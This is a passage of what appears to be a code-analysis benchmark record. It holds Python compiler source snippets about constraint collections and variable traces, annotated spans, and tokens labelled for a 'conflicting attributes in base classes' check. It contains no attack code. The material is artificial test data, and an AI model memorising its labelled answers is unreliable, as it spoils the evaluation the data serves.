markActiveVariablesAsUnknown(self):\n for variable in self.getActiveVariables():\n self.markActiveVariableAsUnknown(variable)", "metadata": "root.CollectionTracingMixin.markActiveVariablesAsUnknown", "header": "['class', 'CollectionTracingMixin', ':', '___EOS___']", "index": 144 }, { "content": "class CollectionStartpointMixin:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.CollectionStartpointMixin", "header": "['module', '___EOS___']", "index": 149 }, { "content": " def __init__(self):\n # Variable assignments performed in here, last issued number, only used\n # to determine the next number that should be used for a new assignment.\n self.variable_versions = {}\n\n # The full trace of a variable with a version for the function or module\n # this is.\n self.variable_traces = {}\n\n self.break_collections = None\n self.continue_collections = None\n self.return_collections = None\n self.exception_collections = None", "metadata": "root.CollectionStartpointMixin.__init__", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 150 }, { "content": " def getLoopBreakCollections(self):\n return self.break_collections", "metadata": "root.CollectionStartpointMixin.getLoopBreakCollections", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 164 }, { "content": " def onLoopBreak(self, collection = None):\n if collection is None:\n collection = self\n\n self.break_collections.append(\n ConstraintCollectionBranch(\n parent = collection,\n name = \"loop break\"\n )\n )", "metadata": "root.CollectionStartpointMixin.onLoopBreak", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 167 }, { "content": " def getLoopContinueCollections(self):\n return self.continue_collections", "metadata": "root.CollectionStartpointMixin.getLoopContinueCollections", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 178 }, { "content": " def onLoopContinue(self, collection = None):\n if collection is None:\n collection = self\n\n self.continue_collections.append(\n ConstraintCollectionBranch(\n parent = collection,\n name = \"loop continue\"\n )\n )", "metadata": "root.CollectionStartpointMixin.onLoopContinue", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 181 }, { "content": " def onFunctionReturn(self, collection = None):\n if collection is None:\n collection = self\n\n if self.return_collections is not None:\n self.return_collections.append(\n ConstraintCollectionBranch(\n parent = collection,\n name = \"return\"\n )\n )", "metadata": "root.CollectionStartpointMixin.onFunctionReturn", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 192 }, { "content": " def onExceptionRaiseExit(self, raisable_exceptions, collection = None):\n # TODO: We might want to track per exception, pylint: disable=W0613\n\n if collection is None:\n collection = self\n\n if self.exception_collections is not None:\n self.exception_collections.append(\n ConstraintCollectionBranch(\n parent = collection,\n name = \"exception\"\n )\n )", "metadata": "root.CollectionStartpointMixin.onExceptionRaiseExit", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 204 }, { "content": " def getFunctionReturnCollections(self):\n return self.return_collections", "metadata": "root.CollectionStartpointMixin.getFunctionReturnCollections", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 218 }, { "content": " def getExceptionRaiseCollections(self):\n return self.exception_collections", "metadata": "root.CollectionStartpointMixin.getExceptionRaiseCollections", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 221 }, { "content": " def hasVariableTrace(self, variable, version):\n return (variable, version) in self.variable_traces", "metadata": "root.CollectionStartpointMixin.hasVariableTrace", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 224 }, { "content": " def getVariableTrace(self, variable, version):\n return self.variable_traces[(variable, version)]", "metadata": "root.CollectionStartpointMixin.getVariableTrace", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 227 }, { "content": " def getVariableTraces(self, variable):\n result = []\n\n for key, variable_trace in iterItems(self.variable_traces):\n candidate = key[0]\n\n if variable is candidate:\n result.append(variable_trace)\n\n return result", "metadata": "root.CollectionStartpointMixin.getVariableTraces", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 230 }, { "content": " def getVariableTracesAll(self):\n return self.variable_traces", "metadata": "root.CollectionStartpointMixin.getVariableTracesAll", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 241 }, { "content": " def addVariableTrace(self, variable, version, trace):\n key = variable, version\n\n assert key not in self.variable_traces, (key, self)\n self.variable_traces[key] = trace", "metadata": "root.CollectionStartpointMixin.addVariableTrace", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 244 }, { "content": " def addVariableMergeMultipleTrace(self, variable, traces):\n version = variable.allocateTargetNumber()\n\n trace_merge = VariableTraceMerge(\n variable = variable,\n version = version,\n traces = traces\n )\n\n self.addVariableTrace(variable, version, trace_merge)\n\n return version", "metadata": "root.CollectionStartpointMixin.addVariableMergeMultipleTrace", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 250 }, { "content": " def dumpTraces(self):\n debug(\"Constraint collection state: %s\", self)\n for _variable_desc, variable_trace in sorted(iterItems(self.variable_traces)):\n\n # debug( \"%r: %r\", variable_trace )\n variable_trace.dump()", "metadata": "root.CollectionStartpointMixin.dumpTraces", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 263 }, { "content": " def dumpActiveTraces(self):\n Tracing.printSeparator()\n Tracing.printLine(\"Active are:\")\n for variable, _version in sorted(self.variable_actives.iteritems()):\n self.getVariableCurrentTrace(variable).dump()\n\n Tracing.printSeparator()", "metadata": "root.CollectionStartpointMixin.dumpActiveTraces", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 270 }, { "content": " def _initVariableUnknown(self, variable):\n trace = VariableTraceUnknown(\n owner = self.owner,\n variable = variable,\n version = 0,\n previous = None\n )\n\n self.addVariableTrace(\n variable = variable,\n version = 0,\n trace = trace\n )\n\n return trace", "metadata": "root.CollectionStartpointMixin._initVariableUnknown", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 278 }, { "content": " def _initVariableInit(self, variable):\n trace = VariableTraceInit(\n owner = self.owner,\n variable = variable,\n version = 0\n )\n\n self.addVariableTrace(\n variable = variable,\n version = 0,\n trace = trace\n )\n\n return trace", "metadata": "root.CollectionStartpointMixin._initVariableInit", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 294 }, { "content": " def _initVariableUninit(self, variable):\n trace = VariableTraceUninit(\n owner = self.owner,\n variable = variable,\n version = 0,\n previous = None\n )\n\n self.addVariableTrace(\n variable = variable,\n version = 0,\n trace = trace\n )\n\n return trace", "metadata": "root.CollectionStartpointMixin._initVariableUninit", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 309 }, { "content": " def updateFromCollection(self, old_collection):\n VariableRegistry.updateFromCollection(old_collection, self)", "metadata": "root.CollectionStartpointMixin.updateFromCollection", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 325 }, { "content": " @contextlib.contextmanager\n def makeAbortStackContext(self, catch_breaks, catch_continues,\n catch_returns, catch_exceptions):\n if catch_breaks:\n old_break_collections = self.break_collections\n self.break_collections = []\n if catch_continues:\n old_continue_collections = self.continue_collections\n self.continue_collections = []\n if catch_returns:\n old_return_collections = self.return_collections\n self.return_collections = []\n if catch_exceptions:\n old_exception_collections = self.exception_collections\n self.exception_collections = []\n\n yield\n\n if catch_breaks:\n self.break_collections = old_break_collections\n if catch_continues:\n self.continue_collections = old_continue_collections\n if catch_returns:\n self.return_collections = old_return_collections\n if catch_exceptions:\n self.exception_collections = old_exception_collections", "metadata": "root.CollectionStartpointMixin.makeAbortStackContext", "header": "['class', 'CollectionStartpointMixin', ':', '___EOS___']", "index": 328 }, { "content": "class ConstraintCollectionBase(CollectionTracingMixin):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.ConstraintCollectionBase", "header": "['module', '___EOS___']", "index": 355 }, { "content": " def __init__(self, owner, name, parent):\n CollectionTracingMixin.__init__(self)\n\n self.owner = owner\n self.parent = parent\n self.name = name\n\n # Trust variable_traces, should go away later on, for now we use it to\n # disable optimization.\n self.removes_knowledge = False", "metadata": "root.ConstraintCollectionBase.__init__", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 356 }, { "content": " def __repr__(self):\n return \"<%s for %s %d>\" % (\n self.__class__.__name__,\n self.name,\n id(self)\n )", "metadata": "root.ConstraintCollectionBase.__repr__", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 367 }, { "content": " @staticmethod\n def signalChange(tags, source_ref, message):\n # This is monkey patched from another module, pylint: disable=E1102\n signalChange(tags, source_ref, message)", "metadata": "root.ConstraintCollectionBase.signalChange", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 374 }, { "content": " def onUsedModule(self, module):\n return self.parent.onUsedModule(module)", "metadata": "root.ConstraintCollectionBase.onUsedModule", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 379 }, { "content": " @staticmethod\n def mustAlias(a, b):\n if a.isExpressionVariableRef() and b.isExpressionVariableRef():\n return a.getVariable() is b.getVariable()\n\n return False", "metadata": "root.ConstraintCollectionBase.mustAlias", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 382 }, { "content": " @staticmethod\n def mustNotAlias(a, b):\n # TODO: not yet really implemented, pylint: disable=W0613\n return False", "metadata": "root.ConstraintCollectionBase.mustNotAlias", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 389 }, { "content": " def removeKnowledge(self, node):\n pass", "metadata": "root.ConstraintCollectionBase.removeKnowledge", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 394 }, { "content": " def onControlFlowEscape(self, node):\n # TODO: One day, we should trace which nodes exactly cause a variable\n # to be considered escaped, pylint: disable=W0613\n\n for variable in self.getActiveVariables():\n if variable.isModuleVariable():\n # print variable\n\n self.markActiveVariableAsUnknown(variable)\n\n elif python_version >= 300 or variable.isSharedTechnically():\n # print variable\n\n # TODO: Could be limited to shared variables that are actually\n # written to. Most of the time, that won't be the case.\n\n self.markActiveVariableAsUnknown(variable)", "metadata": "root.ConstraintCollectionBase.onControlFlowEscape", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 397 }, { "content": " def removeAllKnowledge(self):\n # Temporary, we don't have to have this anyway, this will just disable\n # all uses of variable traces for optimization.\n self.removes_knowledge = True\n\n self.markActiveVariablesAsUnknown()", "metadata": "root.ConstraintCollectionBase.removeAllKnowledge", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 416 }, { "content": " def getVariableTrace(self, variable, version):\n return self.parent.getVariableTrace(variable, version)", "metadata": "root.ConstraintCollectionBase.getVariableTrace", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 423 }, { "content": " def hasVariableTrace(self, variable, version):\n return self.parent.hasVariableTrace(variable, version)", "metadata": "root.ConstraintCollectionBase.hasVariableTrace", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 426 }, { "content": " def addVariableTrace(self, variable, version, trace):\n self.parent.addVariableTrace(variable, version, trace)", "metadata": "root.ConstraintCollectionBase.addVariableTrace", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 429 }, { "content": " def addVariableMergeMultipleTrace(self, variable, traces):\n return self.parent.addVariableMergeMultipleTrace(variable, traces)", "metadata": "root.ConstraintCollectionBase.addVariableMergeMultipleTrace", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 432 }, { "content": " def onVariableSet(self, assign_node):\n variable_ref = assign_node.getTargetVariableRef()\n\n version = variable_ref.getVariableVersion()\n variable = variable_ref.getVariable()\n\n variable_trace = VariableTraceAssign(\n owner = self.owner,\n assign_node = assign_node,\n variable = variable,\n version = version,\n previous = self.getVariableCurrentTrace(\n variable = variable\n )\n )\n\n self.addVariableTrace(\n variable = variable,\n version = version,\n trace = variable_trace\n )\n\n # Make references point to it.\n self.markCurrentVariableTrace(variable, version)\n\n return variable_trace", "metadata": "root.ConstraintCollectionBase.onVariableSet", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 435 }, { "content": " def onVariableDel(self, variable_ref):\n # Add a new trace, allocating a new version for the variable, and\n # remember the delete of the current\n variable = variable_ref.getVariable()\n version = variable_ref.getVariableVersion()\n\n old_trace = self.getVariableCurrentTrace(variable)\n\n variable_trace = VariableTraceUninit(\n owner = self.owner,\n variable = variable,\n version = version,\n previous = old_trace\n )\n\n # Assign to not initialized again.\n self.addVariableTrace(\n variable = variable,\n version = version,\n trace = variable_trace\n )\n\n # Make references point to it.\n self.markCurrentVariableTrace(variable, version)", "metadata": "root.ConstraintCollectionBase.onVariableDel", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 463 }, { "content": " def onLocalsUsage(self):\n for variable in self.getActiveVariables():\n\n # TODO: Currently this is a bit difficult to express in a positive\n # way, but we want to have only local variables.\n if not variable.isTempVariable() and \\\n not variable.isModuleVariable():\n variable_trace = self.getVariableCurrentTrace(\n variable\n )\n\n variable_trace.addNameUsage()", "metadata": "root.ConstraintCollectionBase.onLocalsUsage", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 489 }, { "content": " def onVariableRelease(self, variable):\n current = self.getVariableCurrentTrace(variable)\n\n # Annotate that releases to the trace, it may be important knowledge.\n current.addRelease()\n\n return current", "metadata": "root.ConstraintCollectionBase.onVariableRelease", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 503 }, { "content": " def onVariableContentEscapes(self, variable):\n self.getVariableCurrentTrace(variable).onValueEscape()", "metadata": "root.ConstraintCollectionBase.onVariableContentEscapes", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 512 }, { "content": " def onExpression(self, expression, allow_none = False):\n if expression is None and allow_none:\n return None\n\n assert expression.isExpression(), expression\n assert expression.parent, expression\n\n # Now compute this expression, allowing it to replace itself with\n # something else as part of a local peep hole optimization.\n r = expression.computeExpressionRaw(\n constraint_collection = self\n )\n assert type(r) is tuple, expression\n\n new_node, change_tags, change_desc = r\n\n if change_tags is not None:\n # This is mostly for tracing and indication that a change occurred\n # and it may be interesting to look again.\n self.signalChange(\n change_tags,\n expression.getSourceReference(),\n change_desc\n )\n\n if new_node is not expression:\n expression.replaceWith(new_node)\n\n if new_node.isExpressionVariableRef() or \\\n new_node.isExpressionTempVariableRef():\n # Remember the reference for constraint collection.\n assert new_node.variable_trace.hasDefiniteUsages()\n\n # We add variable reference nodes late to their traces, only after they\n # are actually produced, and not resolved to something else, so we do\n # not have them dangling, and the code complexity inside of their own\n # \"computeExpression\" functions.\n if new_node.isExpressionVariableRef() or \\\n new_node.isExpressionTempVariableRef():\n if new_node.getVariable().isMaybeLocalVariable():\n variable_trace = self.getVariableCurrentTrace(\n variable = new_node.getVariable().getMaybeVariable()\n )\n variable_trace.addUsage()\n\n return new_node", "metadata": "root.ConstraintCollectionBase.onExpression", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 515 }, { "content": " def onStatement(self, statement):\n try:\n assert statement.isStatement(), statement\n\n new_statement, change_tags, change_desc = \\\n statement.computeStatement(self)\n\n # print new_statement, change_tags, change_desc\n if new_statement is not statement:\n self.signalChange(\n change_tags,\n statement.getSourceReference(),\n change_desc\n )\n\n return new_statement\n except Exception:\n Tracing.printError(\n \"Problem with statement at %s:\" %\n statement.getSourceReference().getAsString()\n )\n raise", "metadata": "root.ConstraintCollectionBase.onStatement", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 562 }, { "content": " def mergeBranches(self, collection_yes, collection_no):\n \"\"\" Merge two alternative branches into this trace.\n\n This is mostly for merging conditional branches, or other ways\n of having alternative control flow. This deals with up to two\n alternative branches to both change this collection.\n \"\"\"\n\n # Refuse to do stupid work\n if collection_yes is None and collection_no is None:\n pass\n elif collection_yes is None or collection_no is None:\n # Handle one branch case, we need to merge versions backwards as\n # they may make themselves obsolete.\n self.mergeMultipleBranches(\n collections = (self, collection_yes or collection_no)\n )\n else:\n self.mergeMultipleBranches(\n collections = (collection_yes,collection_no)\n )", "metadata": "root.ConstraintCollectionBase.mergeBranches", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 585 }, { "content": " def mergeMultipleBranches(self, collections):\n assert len(collections) > 0\n\n # Optimize for length 1, which is trivial merge and needs not a\n # lot of work.\n if len(collections) == 1:\n self.replaceBranch(collections[0])\n return\n\n variable_versions = {}\n\n for collection in collections:\n for variable, version in iterItems(collection.variable_actives):\n if variable not in variable_versions:\n variable_versions[variable] = set([version])\n else:\n variable_versions[variable].add(version)\n\n for collection in collections:\n for variable, versions in iterItems(variable_versions):\n if variable not in collection.variable_actives:\n versions.add(0)\n\n self.variable_actives = {}\n\n for variable, versions in iterItems(variable_versions):\n if len(versions) == 1:\n version, = versions\n else:\n version = self.addVariableMergeMultipleTrace(\n variable = variable,\n traces = [\n self.getVariableTrace(variable, version)\n for version in\n versions\n ]\n )\n\n self.markCurrentVariableTrace(variable, version)", "metadata": "root.ConstraintCollectionBase.mergeMultipleBranches", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 607 }, { "content": " def replaceBranch(self, collection_replace):\n self.variable_actives.update(collection_replace.variable_actives)\n collection_replace.variable_actives = None", "metadata": "root.ConstraintCollectionBase.replaceBranch", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 647 }, { "content": " def onLoopBreak(self, collection = None):\n if collection is None:\n collection = self\n\n return self.parent.onLoopBreak(collection)", "metadata": "root.ConstraintCollectionBase.onLoopBreak", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 651 }, { "content": " def onLoopContinue(self, collection = None):\n if collection is None:\n collection = self\n\n return self.parent.onLoopContinue(collection)", "metadata": "root.ConstraintCollectionBase.onLoopContinue", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 657 }, { "content": " def onFunctionReturn(self, collection = None):\n if collection is None:\n collection = self\n\n return self.parent.onFunctionReturn(collection)", "metadata": "root.ConstraintCollectionBase.onFunctionReturn", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 663 }, { "content": " def onExceptionRaiseExit(self, raisable_exceptions, collection = None):\n if collection is None:\n collection = self\n\n return self.parent.onExceptionRaiseExit(raisable_exceptions, collection)", "metadata": "root.ConstraintCollectionBase.onExceptionRaiseExit", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 669 }, { "content": " def getLoopBreakCollections(self):\n return self.parent.getLoopBreakCollections()", "metadata": "root.ConstraintCollectionBase.getLoopBreakCollections", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 675 }, { "content": " def getLoopContinueCollections(self):\n return self.parent.getLoopContinueCollections()", "metadata": "root.ConstraintCollectionBase.getLoopContinueCollections", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 678 }, { "content": " def getFunctionReturnCollections(self):\n return self.parent.getFunctionReturnCollections()", "metadata": "root.ConstraintCollectionBase.getFunctionReturnCollections", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 681 }, { "content": " def getExceptionRaiseCollections(self):\n return self.parent.getExceptionRaiseCollections()", "metadata": "root.ConstraintCollectionBase.getExceptionRaiseCollections", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 684 }, { "content": " def makeAbortStackContext(self, catch_breaks, catch_continues,\n catch_returns, catch_exceptions):\n return self.parent.makeAbortStackContext(\n catch_breaks = catch_breaks,\n catch_continues = catch_continues,\n catch_returns = catch_returns,\n catch_exceptions = catch_exceptions\n )", "metadata": "root.ConstraintCollectionBase.makeAbortStackContext", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 687 }, { "content": " def getCompileTimeComputationResult(self, node, computation, description):\n new_node, change_tags, message = getComputationResult(\n node = node,\n computation = computation,\n description = description\n )\n\n if change_tags == \"new_raise\":\n self.onExceptionRaiseExit(BaseException)\n\n return new_node, change_tags, message", "metadata": "root.ConstraintCollectionBase.getCompileTimeComputationResult", "header": "['class', 'ConstraintCollectionBase', '(', 'CollectionTracingMixin', ')', ':', '___EOS___']", "index": 696 }, { "content": "class ConstraintCollectionFunction(CollectionStartpointMixin,\n ConstraintCollectionBase,\n VariableUsageTrackingMixin):", "metadata": "root.ConstraintCollectionFunction", "header": "['module', '___EOS___']", "index": 757 }, { "content": "class ConstraintCollectionModule(CollectionStartpointMixin,\n ConstraintCollectionBase,\n VariableUsageTrackingMixin):\n\n", "metadata": "root.ConstraintCollectionModule", "header": "['module', '___EOS___']", "index": 776 } ]
[ { "span": "class ConstraintCollectionFunction(CollectionStartpointMixin,\n ConstraintCollectionBase,\n VariableUsageTrackingMixin):", "start_line": 757, "start_column": 0, "end_line": 759, "end_column": 63 }, { "span": "class ConstraintCollectionModule(CollectionStartpointMixin,\n ConstraintCollectionBase,\n VariableUsageTrackingMixin):", "start_line": 776, "start_column": 0, "end_line": 778, "end_column": 61 } ]
[ { "span": "def getLoopBreakCollections(self):", "start_line": 164, "start_column": 4, "end_line": 164, "end_column": 38 }, { "span": "def onLoopBreak(self, collection = None):", "start_line": 167, "start_column": 4, "end_line": 167, "end_column": 45 }, { "span": "def getLoopContinueCollections(self):", "start_line": 178, "start_column": 4, "end_line": 178, "end_column": 41 }, { "span": "def onLoopContinue(self, collection = None):", "start_line": 181, "start_column": 4, "end_line": 181, "end_column": 48 }, { "span": "def onFunctionReturn(self, collection = None):", "start_line": 192, "start_column": 4, "end_line": 192, "end_column": 50 }, { "span": "def onExceptionRaiseExit(self, raisable_exceptions, collection = None):", "start_line": 204, "start_column": 4, "end_line": 204, "end_column": 75 }, { "span": "def getFunctionReturnCollections(self):", "start_line": 218, "start_column": 4, "end_line": 218, "end_column": 43 }, { "span": "def getExceptionRaiseCollections(self):", "start_line": 221, "start_column": 4, "end_line": 221, "end_column": 43 }, { "span": "def hasVariableTrace(self, variable, version):", "start_line": 224, "start_column": 4, "end_line": 224, "end_column": 50 }, { "span": "def getVariableTrace(self, variable, version):", "start_line": 227, "start_column": 4, "end_line": 227, "end_column": 50 }, { "span": "def addVariableTrace(self, variable, version, trace):", "start_line": 244, "start_column": 4, "end_line": 244, "end_column": 57 }, { "span": "def addVariableMergeMultipleTrace(self, variable, traces):", "start_line": 250, "start_column": 4, "end_line": 250, "end_column": 62 }, { "span": "def getVariableTrace(self, variable, version):", "start_line": 423, "start_column": 4, "end_line": 423, "end_column": 50 }, { "span": "def hasVariableTrace(self, variable, version):", "start_line": 426, "start_column": 4, "end_line": 426, "end_column": 50 }, { "span": "def addVariableTrace(self, variable, version, trace):", "start_line": 429, "start_column": 4, "end_line": 429, "end_column": 57 }, { "span": "def addVariableMergeMultipleTrace(self, variable, traces):", "start_line": 432, "start_column": 4, "end_line": 432, "end_column": 62 }, { "span": "def onLoopBreak(self, collection = None):", "start_line": 651, "start_column": 4, "end_line": 651, "end_column": 45 }, { "span": "def onLoopContinue(self, collection = None):", "start_line": 657, "start_column": 4, "end_line": 657, "end_column": 48 }, { "span": "def onFunctionReturn(self, collection = None):", "start_line": 663, "start_column": 4, "end_line": 663, "end_column": 50 }, { "span": "def onExceptionRaiseExit(self, raisable_exceptions, collection = None):", "start_line": 669, "start_column": 4, "end_line": 669, "end_column": 75 }, { "span": "def getLoopBreakCollections(self):", "start_line": 675, "start_column": 4, "end_line": 675, "end_column": 38 }, { "span": "def getLoopContinueCollections(self):", "start_line": 678, "start_column": 4, "end_line": 678, "end_column": 41 }, { "span": "def getFunctionReturnCollections(self):", "start_line": 681, "start_column": 4, "end_line": 681, "end_column": 43 }, { "span": "def getExceptionRaiseCollections(self):", "start_line": 684, "start_column": 4, "end_line": 684, "end_column": 43 }, { "span": "def makeAbortStackContext(self, catch_breaks, catch_continues,\n catch_returns, catch_exceptions):", "start_line": 687, "start_column": 4, "end_line": 688, "end_column": 63 } ]
1
false
[ "[CLS]_", "Confl", "ict", "ing_", "attributes_", "in_", "base_", "classes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Varia", "ble", "Us", "age", "Track", "ing", "Mixin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Varia", "ble", "Us", "age", "Track", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "init", "Variable_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "variable_", "._", "is", "Parameter", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "\\u", "init", "Varia", "ble", "Init_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "variable_", "._", "is", "Local", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "\\u", "init", "Varia", "ble", "Unin", "it_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "variable_", "._", "is", "Ma", "yb", "e", "Local", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "\\u", "init", "Varia", "ble", "Unknown_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "variable_", "._", "is", "Modul", "e", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "\\u", "init", "Varia", "ble", "Unknown_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "variable_", "._", "is", "Temp", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "\\u", "init", "Varia", "ble", "Unin", "it_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", ",_", "variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "result_", "._", "get", "Variable_", "(_", ")_", "is_", "variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", 